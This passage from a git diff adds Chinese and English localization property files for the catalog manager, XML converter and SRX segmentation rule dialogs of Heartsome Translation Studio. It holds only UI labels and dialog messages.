\u8bf7\u8f93\u5165\u5206\u6bb5\u89c4\u5219\u6587\u4ef6\u540d\u3002 +srx.CreateOrUpdataSRXDialog.msg2 = \u8bf7\u4f7f\u7528 .srx \u4f5c\u4e3a\u5206\u6bb5\u89c4\u5219\u6587\u4ef6\u7684\u540e\u7f00\u540d\u3002 +srx.CreateOrUpdataSRXDialog.msg3 = \u5206\u6bb5\u89c4\u5219 {0} \u5df2\u7ecf\u5b58\u5728\uff0c\u786e\u5b9a\u8981\u8986\u76d6\u5417\uff1f +srx.CreateOrUpdataSRXDialog.msgTitle2 = \u786e\u8ba4 +srx.CreateOrUpdataSRXDialog.msg4 = \u5206\u6bb5\u89c4\u5219 {0} \u5df2\u7ecf\u5b58\u5728\uff0c\u786e\u5b9a\u8981\u8986\u76d6\u5417\uff1f + +# \u5206\u6bb5\u89c4\u5219\u914d\u7f6e +srx.AddOrEditSrxConfigDialog.title = \u914d\u7f6e\u5206\u6bb5\u89c4\u5219 +srx.AddOrEditSrxConfigDialog.cancel = \u5173\u95ed +srx.AddOrEditSrxConfigDialog.nameLbl = \u6587\u4ef6\u540d +srx.AddOrEditSrxConfigDialog.groupLang = \u8bed\u8a00\u89c4\u5219 +srx.AddOrEditSrxConfigDialog.langColumnNames1 = \u5e8f\u53f7 +srx.AddOrEditSrxConfigDialog.langColumnNames2 = \u8bed\u8a00\u89c4\u5219 +srx.AddOrEditSrxConfigDialog.langAddBtn = \u6dfb\u52a0\u8bed\u8a00\u89c4\u5219(&A) +srx.AddOrEditSrxConfigDialog.langEditBtn = \u7f16\u8f91\u8bed\u8a00\u89c4\u5219(&E) +srx.AddOrEditSrxConfigDialog.langDeleteBtn = \u5220\u9664\u8bed\u8a00\u89c4\u5219(&D) +srx.AddOrEditSrxConfigDialog.group = \u6620\u5c04\u89c4\u5219 +srx.AddOrEditSrxConfigDialog.columnNames1 = \u5e8f\u53f7 +srx.AddOrEditSrxConfigDialog.columnNames2 = \u6620\u5c04\u89c4\u5219 +srx.AddOrEditSrxConfigDialog.mapAddBtn = \u6dfb\u52a0\u6620\u5c04\u89c4\u5219(&M) +srx.AddOrEditSrxConfigDialog.mapEditBtn = \u7f16\u8f91\u6620\u5c04\u89c4\u5219(&P) +srx.AddOrEditSrxConfigDialog.mapDeleteBtn = \u5220\u9664\u6620\u5c04\u89c4\u5219(&T) +srx.AddOrEditSrxConfigDialog.msgTitle1 = \u786e\u8ba4 +srx.AddOrEditSrxConfigDialog.msg1 = \u786e\u8981\u5220\u9664\u6240\u9009\u62e9\u7684\u8bed\u8a00\u89c4\u5219\u5417\uff1f +srx.AddOrEditSrxConfigDialog.msg2 = \u6240\u9009\u62e9\u7684\u8bed\u8a00\u89c4\u5219 {0} \u5df2\u7ecf\u6dfb\u52a0\u4e86\u6620\u5c04\u89c4\u5219\uff0c\u5220\u9664\u8be5\u8bed\u8a00\u89c4\u5219\u7684\u540c\u65f6\uff0c\u5176\u5bf9\u5e94\u7684\u6620\u5c04\u89c4\u5219\u4e5f\u5c06\u5168\u90e8\u88ab\u5220\u9664\u3002\u786e\u5b9a\u8981\u7ee7\u7eed\u5220\u9664\u5417\uff1f +srx.AddOrEditSrxConfigDialog.msgTitle2 = \u63d0\u793a +srx.AddOrEditSrxConfigDialog.msg3 = \u8bf7\u9009\u62e9\u8981\u5220\u9664\u7684\u8bed\u8a00\u89c4\u5219\u3002 +srx.AddOrEditSrxConfigDialog.msg4 = \u786e\u5b9a\u8981\u5220\u9664\u6240\u9009\u62e9\u7684\u6620\u5c04\u89c4\u5219\u5417\uff1f +srx.AddOrEditSrxConfigDialog.msg5 = \u8bf7\u9009\u62e9\u8981\u5220\u9664\u7684\u6620\u5c04\u89c4\u5219\u3002 +srx.AddOrEditSrxConfigDialog.msg6 = \u8bf7\u9009\u62e9\u8981\u7f16\u8f91\u7684\u8bed\u8a00\u89c4\u5219\u3002 +srx.AddOrEditSrxConfigDialog.msg7 = \u8bf7\u9009\u62e9\u8981\u7f16\u8f91\u7684\u6620\u5c04\u89c4\u5219\u3002 + +# \u6dfb\u52a0/\u7f16\u8f91\u8bed\u8a00\u89c4\u5219 +srx.AddOrEditLangRuleOfSrxDialog.title1 = \u6dfb\u52a0\u8bed\u8a00\u89c4\u5219 +srx.AddOrEditLangRuleOfSrxDialog.title2 = \u7f16\u8f91\u8bed\u8a00\u89c4\u5219 +srx.AddOrEditLangRuleOfSrxDialog.isBreakBtn = \u9700\u8981\u5206\u6bb5 +srx.AddOrEditLangRuleOfSrxDialog.preLbl = \u5206\u6bb5\u4e4b\u524d +srx.AddOrEditLangRuleOfSrxDialog.afterLbl = \u5206\u6bb5\u4e4b\u540e +srx.AddOrEditLangRuleOfSrxDialog.msgTitle1 = \u63d0\u793a +srx.AddOrEditLangRuleOfSrxDialog.msg1 = \u8be5\u8bed\u8a00\u89c4\u5219\u5df2\u7ecf\u5b58\u5728\uff0c\u8bf7\u91cd\u65b0\u8f93\u5165\u3002 +srx.AddOrEditLangRuleOfSrxDialog.msgTitle2 = \u786e\u8ba4 +srx.AddOrEditLangRuleOfSrxDialog.msg2 = \u8be5\u8bed\u8a00\u89c4\u5219\u5df2\u7ecf\u5b58\u5728\uff0c\u786e\u5b9a\u8981\u8986\u76d6\u5417\uff1f + +srx.SrxLanguageRulesManageDialog.title = \u914d\u7f6e\u8bed\u8a00\u89c4\u5219 +srx.SrxLanguageRulesManageDialog.addBtn = \u6dfb\u52a0(&A) +srx.SrxLanguageRulesManageDialog.editBtn = \u7f16\u8f91(&E) +srx.SrxLanguageRulesManageDialog.deleteBtn = \u5220\u9664(&D) +srx.SrxLanguageRulesManageDialog.ok = \u4fdd\u5b58(&S) +srx.SrxLanguageRulesManageDialog.cancel = \u5173\u95ed +srx.SrxLanguageRulesManageDialog.nameLbl = \u540d\u79f0\uff1a +srx.SrxLanguageRulesManageDialog.columnNames1 = \u9700\u8981\u5206\u6bb5 +srx.SrxLanguageRulesManageDialog.columnNames2 = \u5206\u6bb5\u4e4b\u524d +srx.SrxLanguageRulesManageDialog.columnNames3 = \u5206\u6bb5\u4e4b\u540e +srx.SrxLanguageRulesManageDialog.msgTitle = \u63d0\u793a +srx.SrxLanguageRulesManageDialog.msg1 = \u8bf7\u8f93\u5165\u8bed\u8a00\u89c4\u5219\u540d\u79f0\u3002 +srx.SrxLanguageRulesManageDialog.msg2 = \u8be5\u8bed\u8a00\u89c4\u5219 {0} \u5df2\u7ecf\u5b58\u5728\uff0c\u8bf7\u91cd\u65b0\u8f93\u5165\u3002 +srx.SrxLanguageRulesManageDialog.msg3 = \u65e0\u6cd5\u6dfb\u52a0\u8bed\u8a00\u89c4\u5219\uff0c\u8bf7\u91cd\u8bd5\u3002 +srx.SrxLanguageRulesManageDialog.msgTitle2 = \u786e\u8ba4 +srx.SrxLanguageRulesManageDialog.msg4 = \u8be5\u8bed\u8a00\u89c4\u5219 {0} \u5df2\u7ecf\u5b58\u5728\uff0c\u786e\u5b9a\u8981\u8986\u76d6\u5417\uff1f +srx.SrxLanguageRulesManageDialog.msg5 = \u786e\u5b9a\u8981\u5220\u9664\u9009\u62e9\u7684\u8bed\u8a00\u89c4\u5219\u5417? +srx.SrxLanguageRulesManageDialog.msg6 = \u8bf7\u9009\u62e9\u8981\u5220\u9664\u7684\u8bed\u8a00\u89c4\u5219\u3002 +srx.SrxLanguageRulesManageDialog.msg7 = \u8bf7\u9009\u62e9\u8981\u7f16\u8f91\u7684\u8bed\u8a00\u89c4\u5219\u3002 + +# \u6dfb\u52a0/\u7f16\u8f91\u6620\u5c04\u89c4\u5219 +srx.AddOrEditMapRuleOfSrxDialog.title1 = \u6dfb\u52a0\u6620\u5c04\u89c4\u5219 +srx.AddOrEditMapRuleOfSrxDialog.title2 = \u7f16\u8f91\u6620\u5c04\u89c4\u5219 +srx.AddOrEditMapRuleOfSrxDialog.modelLbl = \u8bed\u8a00\u6a21\u5f0f\uff1a +srx.AddOrEditMapRuleOfSrxDialog.langRuleNameLbl = \u8bed\u8a00\u89c4\u5219\uff1a +srx.AddOrEditMapRuleOfSrxDialog.msgTitle1 = \u63d0\u793a +srx.AddOrEditMapRuleOfSrxDialog.msg1 = \u8bf7\u4e3a\u6620\u5c04\u89c4\u5219\u8f93\u5165\u8bed\u8a00\u6a21\u5f0f\u548c\u89c4\u5219\u3002 +srx.AddOrEditMapRuleOfSrxDialog.msg2 = \u8be5\u6620\u5c04\u89c4\u5219\u540d\u79f0\u5df2\u7ecf\u5b58\u5728\uff0c\u8bf7\u91cd\u65b0\u8f93\u5165\u3002 +srx.AddOrEditMapRuleOfSrxDialog.msgTitle2 = \u786e\u8ba4 +srx.AddOrEditMapRuleOfSrxDialog.msg3 = \u8be5\u8bed\u8a00\u89c4\u5219\u540d\u79f0\u5df2\u7ecf\u5b58\u5728\uff0c\u786e\u5b9a\u8981\u8986\u76d6\u5417\uff1f + +srx.SrxMapRulesManageDialog.title = \u914d\u7f6e\u6620\u5c04\u89c4\u5219 +srx.SrxMapRulesManageDialog.addBtn = \u6dfb\u52a0(&A) +srx.SrxMapRulesManageDialog.editBtn = \u7f16\u8f91(&E) +srx.SrxMapRulesManageDialog.deleteBtn = \u5220\u9664(&D) +srx.SrxMapRulesManageDialog.ok = \u4fdd\u5b58(&S) +srx.SrxMapRulesManageDialog.cancel = \u5173\u95ed +srx.SrxMapRulesManageDialog.nameLbl = \u540d\u79f0\uff1a +srx.SrxMapRulesManageDialog.columnNames1 = \u8bed\u8a00\u6a21\u5f0f +srx.SrxMapRulesManageDialog.columnNames2 = \u8bed\u8a00\u89c4\u5219 +srx.SrxMapRulesManageDialog.msgTitle = \u786e\u8ba4 +srx.SrxMapRulesManageDialog.msg1 = \u786e\u8981\u5220\u9664\u9009\u62e9\u7684\u6620\u5c04\u89c4\u5219\u5417\uff1f +srx.SrxMapRulesManageDialog.msgTitle2 = \u63d0\u793a +srx.SrxMapRulesManageDialog.msg2 = \u8bf7\u9009\u62e9\u8981\u5220\u9664\u7684\u6620\u5c04\u89c4\u5219\u3002 +srx.SrxMapRulesManageDialog.msg3 = \u8bf7\u8f93\u5165\u6620\u5c04\u89c4\u5219\u540d\u79f0\u3002 +srx.SrxMapRulesManageDialog.msg4 = \u6620\u5c04\u89c4\u5219 {0} \u5df2\u7ecf\u5b58\u5728\uff0c\u8bf7\u91cd\u65b0\u8f93\u5165\u3002 +srx.SrxMapRulesManageDialog.msg5 = \u65e0\u6cd5\u6dfb\u52a0\u6620\u5c04\u89c4\u5219\uff0c\u8bf7\u91cd\u8bd5\u3002 +srx.SrxMapRulesManageDialog.msg6 = \u6620\u5c04\u89c4\u5219 {0} \u5df2\u7ecf\u5b58\u5728\uff0c\u786e\u5b9a\u8981\u8986\u76d6\u5417\uff1f + +handlers.CatalogManagerHandler.msgTitle = \u9519\u8bef +handlers.CatalogManagerHandler.msg = \u65e0\u6cd5\u627e\u5230\u7cfb\u7edf\u6587\u4ef6\uff1acatalogue.xml\uff0c\u8bf7\u91cd\u65b0\u5b89\u88c5 Heartsome Translation Studio\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 +handlers.SRXConfigrationHandler.msgTitle = \u9519\u8bef +handlers.SRXConfigrationHandler.msg = \u65e0\u6cd5\u627e\u5230\u5206\u6bb5\u89c4\u5219\u914d\u7f6e (SRX) \u6587\u4ef6\uff0c\u8bf7\u91cd\u65b0\u5b89\u88c5 Heartsome Translation Studio\u3002 +handlers.XmlConverterConfigurationHandler.msgTitle = \u9519\u8bef +handlers.XmlConverterConfigurationHandler.msg = \u65e0\u6cd5\u627e\u5230 XML \u8f6c\u6362\u5668\u914d\u7f6e\u6587\u4ef6\uff0c\u8bf7\u91cd\u65b0\u5b89\u88c5 Heartsome Translation Studio\u3002 \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.ui.advanced/src/net/heartsome/cat/ts/ui/advanced/resource/message_en.properties b/ts/net.heartsome.cat.ts.ui.advanced/src/net/heartsome/cat/ts/ui/advanced/resource/message_en.properties new file mode 100644 index 0000000..78b5eec --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.advanced/src/net/heartsome/cat/ts/ui/advanced/resource/message_en.properties @@ -0,0 +1,228 @@ +# \u9ad8\u7ea7 > Catalog \u7ba1\u7406\u5668 +dialogs.CatalogManagerDialog.title = Catalog Manager +dialogs.CatalogManagerDialog.addBtn = &Add +dialogs.CatalogManagerDialog.editBtn = &Edit +dialogs.CatalogManagerDialog.deleteBtn = &Delete +dialogs.CatalogManagerDialog.cancel = Close +dialogs.CatalogManagerDialog.columnNames1 = No. +dialogs.CatalogManagerDialog.columnNames2 = Type +dialogs.CatalogManagerDialog.columnNames3 = ID +dialogs.CatalogManagerDialog.columnNames4 = File URL +dialogs.CatalogManagerDialog.msgTitle = Confirm +dialogs.CatalogManagerDialog.msg1 = If deleted, the specified Catalog cannot be recovered. Are you sure you want to delete it? +dialogs.CatalogManagerDialog.msgTitle2 = Message +dialogs.CatalogManagerDialog.msg2 = Please select the Catalog you want to delete. +dialogs.CatalogManagerDialog.msg3 = Please select the Catalog you want to edit. + +# \u6dfb\u52a0/\u7f16\u8f91 Catalog \u5bf9\u8bdd\u6846 +dialogs.AddOrEditCatalogDialog.title1 = Add Catalog +dialogs.AddOrEditCatalogDialog.title2 = Edit Catalog +dialogs.AddOrEditCatalogDialog.typeLbl = Type: +dialogs.AddOrEditCatalogDialog.publicBtn = PUBLIC +dialogs.AddOrEditCatalogDialog.systermBtn = SYSTERM +dialogs.AddOrEditCatalogDialog.uriBtn = URI +dialogs.AddOrEditCatalogDialog.nextCataBtn = nextCatalog +dialogs.AddOrEditCatalogDialog.idLbl = ID: +dialogs.AddOrEditCatalogDialog.urlLbl = File URL: +dialogs.AddOrEditCatalogDialog.browseBtn = &Browse... +dialogs.AddOrEditCatalogDialog.msgTitle = Message +dialogs.AddOrEditCatalogDialog.msg1 = Please select the Catalog type. +dialogs.AddOrEditCatalogDialog.msg2 = An error occured when adding the Catalog. +dialogs.AddOrEditCatalogDialog.dialogMsg = Please select a Catalog. +dialogs.AddOrEditCatalogDialog.dialogTitle = Open folder + +# \u9ad8\u7ea7 > XML \u8f6c\u6362\u5668 +dialogs.XmlConverterConfigurationDialog.title = XML converter configuration +dialogs.XmlConverterConfigurationDialog.addBtn = &Add +dialogs.XmlConverterConfigurationDialog.editBtn = &Edit +dialogs.XmlConverterConfigurationDialog.deleteBtn = &Delete +dialogs.XmlConverterConfigurationDialog.analysisBtn = A&nalyzing XML file sample +dialogs.XmlConverterConfigurationDialog.cancel = Close +dialogs.XmlConverterConfigurationDialog.columnNames1 = No. +dialogs.XmlConverterConfigurationDialog.columnNames2 = Configuration file +dialogs.XmlConverterConfigurationDialog.msgTitle = Message +dialogs.XmlConverterConfigurationDialog.msg1 = Please select the XML converter configuration file you want to delete. +dialogs.XmlConverterConfigurationDialog.msg2 = Please select the XML converter configuration file you want to edit. + +# \u6dfb\u52a0/\u7f16\u8f91 XML \u914d\u7f6e +dialogs.AddOrEditXmlConvertConfigDialog.title1 = Add XML Converter Configuration +dialogs.AddOrEditXmlConvertConfigDialog.title2 = Edit XML Converter Configuration +dialogs.AddOrEditXmlConvertConfigDialog.addBtn = &Add Configuration +dialogs.AddOrEditXmlConvertConfigDialog.editBtn = &Edit Configuration +dialogs.AddOrEditXmlConvertConfigDialog.deleteBtn = &Delete Configuration +dialogs.AddOrEditXmlConvertConfigDialog.ok = &Save +dialogs.AddOrEditXmlConvertConfigDialog.cancel = Cancel +dialogs.AddOrEditXmlConvertConfigDialog.rootLbl = Root element: +dialogs.AddOrEditXmlConvertConfigDialog.textLbl = Save to: +dialogs.AddOrEditXmlConvertConfigDialog.msgTitle1 = Message +dialogs.AddOrEditXmlConvertConfigDialog.msg1 = Please enter a name for the root element. +dialogs.AddOrEditXmlConvertConfigDialog.msg2 = XML converter configuration file {0} already exists. Please try again. +dialogs.AddOrEditXmlConvertConfigDialog.msgTitle2 = Confirm +dialogs.AddOrEditXmlConvertConfigDialog.msg3 = XML converter configuration file {0} already exists. Do you want to overwrite it? +dialogs.AddOrEditXmlConvertConfigDialog.msg4 = The edited XML converter configuration file {0} already exists. Do you want to overwrite it? +dialogs.AddOrEditXmlConvertConfigDialog.msg5 = Failed to read the XML converter configuration file {0}. Please delete the file and add a new configuration file. Alternatively, reinstall Heartsome Translation Studio. +dialogs.XmlConvertManagerDialog.columnNames1 = Element +dialogs.XmlConvertManagerDialog.columnNames2 = Element type +dialogs.XmlConvertManagerDialog.columnNames3 = Inline type +dialogs.XmlConvertManagerDialog.columnNames4 = Translatable attributes +dialogs.XmlConvertManagerDialog.columnNames5 = Reserve spaces +dialogs.XmlConvertManagerDialog.msgTitle1 = Confirm +dialogs.XmlConvertManagerDialog.msg1 = Are you sure you want to delete the selected element? +dialogs.XmlConvertManagerDialog.msgTitle2 = Message +dialogs.XmlConvertManagerDialog.msg2 = Please select the element you want to delete. +dialogs.XmlConvertManagerDialog.msg3 = Please select the element you want to edit. + +# \u6dfb\u52a0/\u7f16\u8f91 XML \u5143\u7d20\u914d\u7f6e +dialogs.AddOrEditElementOfXmlConvertDialog.title = Element configuration +dialogs.AddOrEditElementOfXmlConvertDialog.ok = Save +dialogs.AddOrEditElementOfXmlConvertDialog.nameLbl = Element name: +dialogs.AddOrEditElementOfXmlConvertDialog.typeLbl = Element type: +dialogs.AddOrEditElementOfXmlConvertDialog.inlineLbl = Inline type: +dialogs.AddOrEditElementOfXmlConvertDialog.transAttriLbl = Translatable attributes: +dialogs.AddOrEditElementOfXmlConvertDialog.remainSpaceLbl = Reserve spaces: +dialogs.AddOrEditElementOfXmlConvertDialog.msgTitle1 = Confirm +dialogs.AddOrEditElementOfXmlConvertDialog.msg1 = Element {0} already exists. Are you sure you want to overwrite it? +dialogs.AddOrEditElementOfXmlConvertDialog.msgTitle2 = Message +dialogs.AddOrEditElementOfXmlConvertDialog.msg2 = Please enter a name for the element. + +# \u5206\u6790 XML \u6587\u4ef6\u6837\u672c +dialogs.AnalysisXmlConvertConfigDialg.title = Analyze XML file sample +dialogs.AnalysisXmlConvertConfigDialg.addBtn = &Add +dialogs.AnalysisXmlConvertConfigDialg.editBtn = &Edit +dialogs.AnalysisXmlConvertConfigDialg.deleteBtn = &Delete +dialogs.AnalysisXmlConvertConfigDialg.ok = &Save +dialogs.AnalysisXmlConvertConfigDialg.cancel = Cancel +dialogs.AnalysisXmlConvertConfigDialg.analysisXmlLbl = XML file sample: +dialogs.AnalysisXmlConvertConfigDialg.browseBtn = &Browse... +dialogs.AnalysisXmlConvertConfigDialg.rootLbl = Root element: +dialogs.AnalysisXmlConvertConfigDialg.textLbl = Save to: +dialogs.AnalysisXmlConvertConfigDialg.msgTitle = Message +dialogs.AnalysisXmlConvertConfigDialg.msg1 = Please enter a name for the root element. +dialogs.AnalysisXmlConvertConfigDialg.msg2 = XML converter configuration file {0} already exists. Please try again. +dialogs.AnalysisXmlConvertConfigDialg.filterXML = XML file [*.xml] +dialogs.AnalysisXmlConvertConfigDialg.filterAll = All Files [*.*] +dialogs.AnalysisXmlConvertConfigDialg.fdTitle = XML file sample +dialogs.AnalysisXmlConvertConfigDialg.msgTitle2 = Confirm +dialogs.AnalysisXmlConvertConfigDialg.msg3 = XML converter configuration file {0} already exists. Do you want to overwrite it? +dialogs.AnalysisXmlConvertConfigDialg.msg4 = The selected file is invalid. Please select a valid XML file sample. +dialogs.AnalysisXmlConvertConfigDialg.msg5 = The selected file does not exist. Please re-select. +dialogs.AnalysisXmlConvertConfigDialg.msg6 = The selected file {0} is invalid. Please select a valid XML file sample. + +# \u9ad8\u7ea7 > \u5206\u6bb5\u89c4\u5219 +srx.SrxConfigurationDialog.title = Segmentation Rule Manager +srx.SrxConfigurationDialog.addBtn = &Add +srx.SrxConfigurationDialog.editBtn = &Edit +srx.SrxConfigurationDialog.deleteBtn = &Delete +srx.SrxConfigurationDialog.cancel = Close +srx.SrxConfigurationDialog.columnNames1 = No. +srx.SrxConfigurationDialog.columnNames2 = Configuration file +srx.SrxConfigurationDialog.msgTitle1 = Confirm +srx.SrxConfigurationDialog.msg1 = Are you sure you want to delete the segmentation rule? +srx.SrxConfigurationDialog.msgTitle2 = Message +srx.SrxConfigurationDialog.msg2 = Unable to delete the segmentation rule {0}. Please try again. +srx.SrxConfigurationDialog.msg3 = Please select the segmentation rule you want to delete. +srx.SrxConfigurationDialog.msg4 = System default segmentation rules cannot be edited or deleted. + +# \u6dfb\u52a0/\u7f16\u8f91\u5206\u6bb5\u89c4\u5219 +srx.CreateOrUpdataSRXDialog.title1 = Add Segmentation Rule +srx.CreateOrUpdataSRXDialog.title2 = Edit Segmentation Rule +srx.CreateOrUpdataSRXDialog.nameLbl = Segmentation rule Name: +srx.CreateOrUpdataSRXDialog.msgTitle1 = Message +srx.CreateOrUpdataSRXDialog.msg1 = Please enter a name for the segmentation rule. +srx.CreateOrUpdataSRXDialog.msg2 = Please use .srx as the file extension of the segmentation rule. +srx.CreateOrUpdataSRXDialog.msg3 = The segmentation rule {0} already exists. Are sure you want to overwrite it? +srx.CreateOrUpdataSRXDialog.msgTitle2 = Confirm +srx.CreateOrUpdataSRXDialog.msg4 = The segmentation rule {0} already exists. Are sure you want to overwrite it? + +# \u5206\u6bb5\u89c4\u5219\u914d\u7f6e +srx.AddOrEditSrxConfigDialog.title = Segmentation Rule Configuration +srx.AddOrEditSrxConfigDialog.cancel = Close +srx.AddOrEditSrxConfigDialog.nameLbl = File name +srx.AddOrEditSrxConfigDialog.groupLang = Language Rules +srx.AddOrEditSrxConfigDialog.langColumnNames1 = No. +srx.AddOrEditSrxConfigDialog.langColumnNames2 = Language Rules +srx.AddOrEditSrxConfigDialog.langAddBtn = &Add Language Rule +srx.AddOrEditSrxConfigDialog.langEditBtn = &Edit Language Rule +srx.AddOrEditSrxConfigDialog.langDeleteBtn = &Delete Language Rule +srx.AddOrEditSrxConfigDialog.group = Mapping rule +srx.AddOrEditSrxConfigDialog.columnNames1 = No. +srx.AddOrEditSrxConfigDialog.columnNames2 = Mapping rule +srx.AddOrEditSrxConfigDialog.mapAddBtn = Add &Mapping Rule +srx.AddOrEditSrxConfigDialog.mapEditBtn = &Edit Mapping Rule +srx.AddOrEditSrxConfigDialog.mapDeleteBtn = Dele&te Mapping Rule +srx.AddOrEditSrxConfigDialog.msgTitle1 = Confirm +srx.AddOrEditSrxConfigDialog.msg1 = Are you sure you want to delete the seleted language rule? +srx.AddOrEditSrxConfigDialog.msg2 = The selected language rule {0} has a mapping rule. The mapping rule will be deleted when you delete the language rulere you sure you want to delete it? +srx.AddOrEditSrxConfigDialog.msgTitle2 = Message +srx.AddOrEditSrxConfigDialog.msg3 = Please select the language rule you want to delete. +srx.AddOrEditSrxConfigDialog.msg4 = Are you sure you want to delete the selected mapping rule? +srx.AddOrEditSrxConfigDialog.msg5 = Please select the mapping rule you want to delete. +srx.AddOrEditSrxConfigDialog.msg6 = Please select the language rule you want to edit. +srx.AddOrEditSrxConfigDialog.msg7 = Please select the mapping rule you want to edit. + +# \u6dfb\u52a0/\u7f16\u8f91\u8bed\u8a00\u89c4\u5219 +srx.AddOrEditLangRuleOfSrxDialog.title1 = Add Language Rule +srx.AddOrEditLangRuleOfSrxDialog.title2 = Edit Language Rule +srx.AddOrEditLangRuleOfSrxDialog.isBreakBtn = Segmentation required +srx.AddOrEditLangRuleOfSrxDialog.preLbl = Before segmentation +srx.AddOrEditLangRuleOfSrxDialog.afterLbl = After segmentation +srx.AddOrEditLangRuleOfSrxDialog.msgTitle1 = Message +srx.AddOrEditLangRuleOfSrxDialog.msg1 = The language rule name already exists. Please choose another name. +srx.AddOrEditLangRuleOfSrxDialog.msgTitle2 = Confirm +srx.AddOrEditLangRuleOfSrxDialog.msg2 = The language rule already exists. Are you sure you want to overwrite it? + +srx.SrxLanguageRulesManageDialog.title = Language Rule Configuration +srx.SrxLanguageRulesManageDialog.addBtn = &Add +srx.SrxLanguageRulesManageDialog.editBtn = &Edit +srx.SrxLanguageRulesManageDialog.deleteBtn = &Delete +srx.SrxLanguageRulesManageDialog.ok = &Save +srx.SrxLanguageRulesManageDialog.cancel = Close +srx.SrxLanguageRulesManageDialog.nameLbl = Name: +srx.SrxLanguageRulesManageDialog.columnNames1 = Segmentation required +srx.SrxLanguageRulesManageDialog.columnNames2 = Before segmentation +srx.SrxLanguageRulesManageDialog.columnNames3 = After segmentation +srx.SrxLanguageRulesManageDialog.msgTitle = Message +srx.SrxLanguageRulesManageDialog.msg1 = Please enter a name for the language rule. +srx.SrxLanguageRulesManageDialog.msg2 = The language rule {0} already exists. Please enter another one. +srx.SrxLanguageRulesManageDialog.msg3 = Unable to add the language rule. Please try again. +srx.SrxLanguageRulesManageDialog.msgTitle2 = Confirm +srx.SrxLanguageRulesManageDialog.msg4 = The language rule {0} already exists. Are sure you want to overwrite it? +srx.SrxLanguageRulesManageDialog.msg5 = Are you sure you want to delete the language rule? +srx.SrxLanguageRulesManageDialog.msg6 = Please select the language rule you want to delete. +srx.SrxLanguageRulesManageDialog.msg7 = Please select the language rule you want to edit. + +# \u6dfb\u52a0/\u7f16\u8f91\u6620\u5c04\u89c4\u5219 +srx.AddOrEditMapRuleOfSrxDialog.title1 = Add Mapping Rule +srx.AddOrEditMapRuleOfSrxDialog.title2 = Edit Mapping Rule +srx.AddOrEditMapRuleOfSrxDialog.modelLbl = Language module: +srx.AddOrEditMapRuleOfSrxDialog.langRuleNameLbl = Language rule: +srx.AddOrEditMapRuleOfSrxDialog.msgTitle1 = Message +srx.AddOrEditMapRuleOfSrxDialog.msg1 = Please enter the language module and rule for the mapping rule. +srx.AddOrEditMapRuleOfSrxDialog.msg2 = The name of the mapping rule already exists. Please choose another name. +srx.AddOrEditMapRuleOfSrxDialog.msgTitle2 = Confirm +srx.AddOrEditMapRuleOfSrxDialog.msg3 = The name of the mapping rule already exists. Are you sure you want to overwrite it? + +srx.SrxMapRulesManageDialog.title = Mapping Rule Configuration +srx.SrxMapRulesManageDialog.addBtn = &Add +srx.SrxMapRulesManageDialog.editBtn = &Edit +srx.SrxMapRulesManageDialog.deleteBtn = &Delete +srx.SrxMapRulesManageDialog.ok = &Save +srx.SrxMapRulesManageDialog.cancel = Close +srx.SrxMapRulesManageDialog.nameLbl = Name: +srx.SrxMapRulesManageDialog.columnNames1 = Language module +srx.SrxMapRulesManageDialog.columnNames2 = Language Rules +srx.SrxMapRulesManageDialog.msgTitle = Confirm +srx.SrxMapRulesManageDialog.msg1 = Are you sure you want to delete the mapping rule? +srx.SrxMapRulesManageDialog.msgTitle2 = Message +srx.SrxMapRulesManageDialog.msg2 = Please select the mapping rule you want to delete. +srx.SrxMapRulesManageDialog.msg3 = Please enter the name of the mapping rule. +srx.SrxMapRulesManageDialog.msg4 = The mapping rule {0} already exists. Please enter another one. +srx.SrxMapRulesManageDialog.msg5 = Unable to add the mapping rule. Please try again. +srx.SrxMapRulesManageDialog.msg6 = The mapping rule {0} already exists. Are sure you want to overwrite it? + +handlers.CatalogManagerHandler.msgTitle = Error +handlers.CatalogManagerHandler.msg = Unable to find the system file: catalogue.xml. Please reinstall Heartsome Translation Studio and try again. +handlers.SRXConfigrationHandler.msgTitle = Error +handlers.SRXConfigrationHandler.msg = Unable to find the segmentation rule configuration file (SRX). Please reinstall Heartsome Translation Studio. +handlers.XmlConverterConfigurationHandler.msgTitle = Error +handlers.XmlConverterConfigurationHandler.msg = Unable to find the XML converter configuration file. Please reinstall Heartsome Translation Studio. diff --git a/ts/net.heartsome.cat.ts.ui.advanced/src/net/heartsome/cat/ts/ui/advanced/resource/message_zh.properties b/ts/net.heartsome.cat.ts.ui.advanced/src/net/heartsome/cat/ts/ui/advanced/resource/message_zh.properties new file mode 100644 index 0000000..c1784d9 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.advanced/src/net/heartsome/cat/ts/ui/advanced/resource/message_zh.properties @@ -0,0 +1,228 @@ +# \u9ad8\u7ea7 > Catalog \u7ba1\u7406\u5668 +dialogs.CatalogManagerDialog.title = Catalog \u7ba1\u7406\u5668 +dialogs.CatalogManagerDialog.addBtn = \u6dfb\u52a0(&A) +dialogs.CatalogManagerDialog.editBtn = \u7f16\u8f91(&E) +dialogs.CatalogManagerDialog.deleteBtn = \u5220\u9664(&D) +dialogs.CatalogManagerDialog.cancel = \u5173\u95ed +dialogs.CatalogManagerDialog.columnNames1 = \u5e8f\u53f7 +dialogs.CatalogManagerDialog.columnNames2 = \u7c7b\u578b +dialogs.CatalogManagerDialog.columnNames3 = ID +dialogs.CatalogManagerDialog.columnNames4 = \u6587\u4ef6 URL +dialogs.CatalogManagerDialog.msgTitle = \u786e\u8ba4 +dialogs.CatalogManagerDialog.msg1 = \u9009\u4e2d\u7684 Catalog \u88ab\u5220\u9664\u540e\u5c06\u65e0\u6cd5\u6062\u590d\uff0c\u786e\u5b9a\u8981\u5220\u9664\u5417\uff1f +dialogs.CatalogManagerDialog.msgTitle2 = \u63d0\u793a +dialogs.CatalogManagerDialog.msg2 = \u8bf7\u9009\u62e9\u8981\u5220\u9664\u7684 Catalog\u3002 +dialogs.CatalogManagerDialog.msg3 = \u8bf7\u9009\u62e9\u8981\u7f16\u8f91\u7684 Catalog\u3002 + +# \u6dfb\u52a0/\u7f16\u8f91 Catalog \u5bf9\u8bdd\u6846 +dialogs.AddOrEditCatalogDialog.title1 = \u6dfb\u52a0 Catalog +dialogs.AddOrEditCatalogDialog.title2 = \u7f16\u8f91 Catalog +dialogs.AddOrEditCatalogDialog.typeLbl = \u7c7b\u578b\uff1a +dialogs.AddOrEditCatalogDialog.publicBtn = PUBLIC +dialogs.AddOrEditCatalogDialog.systermBtn = SYSTERM 